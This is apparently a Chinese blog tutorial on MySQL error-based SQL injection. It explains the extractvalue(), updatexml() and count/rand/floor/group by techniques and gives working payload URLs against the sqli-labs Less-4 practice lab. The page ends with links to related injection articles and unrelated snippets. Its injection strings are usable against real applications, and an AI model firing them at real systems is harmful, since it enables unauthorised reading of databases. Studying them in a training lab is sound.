补坑:报错注入

当我们 union 无法注入的时候,可以使用报错注入,这里我们有三种报错注入,xpth语法错误count()+rand()+floor()+group by重复组建错误

extractvalue()函数

extractvalue()函数是对XML语法进行读取查看的函数,就例如我们熟悉的HTML中的<div>、<a>、<html>一样

语法为:extractvalue(查找XML内容,XML路径)

payload:select extractvalue(1,concat(0x7e,(select user())))

0x7e 为 ~



我们第一次没有使用concat()函数,其作用是将函数中的内容拼接起来,但是并没有执行成功;第二次使用concat就是为了绕过语法报错,并执行SQL语句select user()

updatexml()函数

updatexml()函数和extractvalue()函数类似,更新XML内容

语法为:updatexml(更新的目标,文档路径,更新的内容)

payload:select updatexml(1,concat(0x7e,(select user())),1)



成功报错执行select user()语句

count()+rand()+floor()+group by重复组建报错

payload:select 1 from (select count(*),concat(0x7e,(select user()),floor(rand(0)*2))x from information_schema.tables group by x)a



执行成功,可以看到~root@localhost1,0x7e为~,1是floor(rand(0)*2)的结果。

Less-4测试:

首先进过测试,得到闭合语句为index.php?id=1") --+

payload:http://172.16.1.104/sqli-labs-master/Less-4/index.php?id=-1") and extractvalue(1,concat(0x7e,(select user()))) --+



成功执行,后续不在操作,请看Less-1

payload:http://192.168.254.232/sqli-labs-master/Less-4/index.php?id=1") and updatexml(1,concat(0x7e,(select user())),1) --+



成功过

payload:http://192.168.254.232/sqli-labs-master/Less-4/index.php?id=1")union select 1,2,3 from (select count(*),concat(0x7e,(select user()),floor(rand(0)*2) )x from information_schema.tables group by x)a --+

Less-4 报错注入的更多相关文章

  1. Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]

    在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ...

  2. 又一种Mysql报错注入

    from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ...

  3. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  4. cmseasy CmsEasy_5.6_20151009 无限制报错注入(parse_str()的坑)

    来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137013.html parse_str()引发的注入, //parse_str()的作用是 ...

  5. sql报错注入:extractvalue、updatexml报错原理

    报错注入:extractvalue.updatexml报错原理 MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue.updatexml 名称 描述 Ext ...

  6. sqli注入--利用information_schema配合双查询报错注入

    目录 sqli-labs 5.6双查询报错注入通关 0x01 获取目标库名 0x02 获取库中表的数量 0x03 获取库中表名 0x04 获取目标表中的列数 0x05 获取目标表的列名 0x06 从列 ...

  7. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  8. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

  9. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

  10. mysql报错注入手工方法

    以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过.这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩 ...

随机推荐

  1. chrome 请停用以开发者

    链接:https://pan.baidu.com/s/1YhWINGlUVyTE5XyBVIGW_Q 提取码:23t2 转载至   https://www.cnblogs.com/it-tsz/p/9 ...

  2. js 处理日期加减

    js 处理日期加减 开始时间设置为6点整,若当前时间小于6:00:00,则使用T-1,否则使用T 结束时间设置为T+1的6点整 Date.prototype.format = function(fmt ...

  3. STM32工程建立

    STM32工程建立 对于用keil5建立stm32工程有两种方法,一种在学习过程中比较方便的建立方式:我们称为工程方式一,另一个便是在实际工程中用的最多,也最普遍,在实际过程中用的最多的,我们称为工程 ...

  4. Leetcode本地阅读器开发--01界面设计三

    这篇文章主要写一下怎样实现定类别查找. 1 void Widget::on_comboBox_currentIndexChanged(int index) 2 { 3 QString sortname ...

  5. Django基础篇 02- request常用属性和返回的响应类型、pycharm创建django项目

    一.request常用属性 #django 请求对象里面的一些属性 print(request.method)#请求方式 print(request.body) #请求体 print(request. ...

  6. js-var,let ,const 的区别

    变量提升: 在js预编译阶段,函数和变量的声明会被提前检索编译,打乱了编写时的声明顺序. 函数字面量表达式不会被提升 var a = function(){}; ex: console.log(a) ...

  7. prometheus 配置数据保留7天时间storage.tsdb.retention.time

    1.修改配置如下: 默认24h添加配置:retention: 168h

  8. oracle vm virtualBox 虚拟机共享磁盘后报错

    不能为虚拟电脑 xxx2打开一个新任务. Locking of attached media failed. A possible reason is that one of the media is ...

  9. java15配置环境后java_version无反应(不显示“不是内部或外部命令”)

    重新装了jdk15来使用eclipse 配置完环境变量之后打开cmd输入 java -version 好家伙,居然一点反映都没有, 然后傻乎乎的跑回去重新配置JAVA_HOME和path 还是没用,细 ...

  10. 用户输入URL回车到页面呈现之间发生的具体步骤

    这个过程中涉及到负责管理的浏览器进程.负责网络请求的网络进程和负责页面渲染的渲染进程 渲染过程这里先不进行具体描述,后续会单独整理 整体步骤 前提,当前页面的卸载事件和收集需要释放的内存 第一步,浏览 ...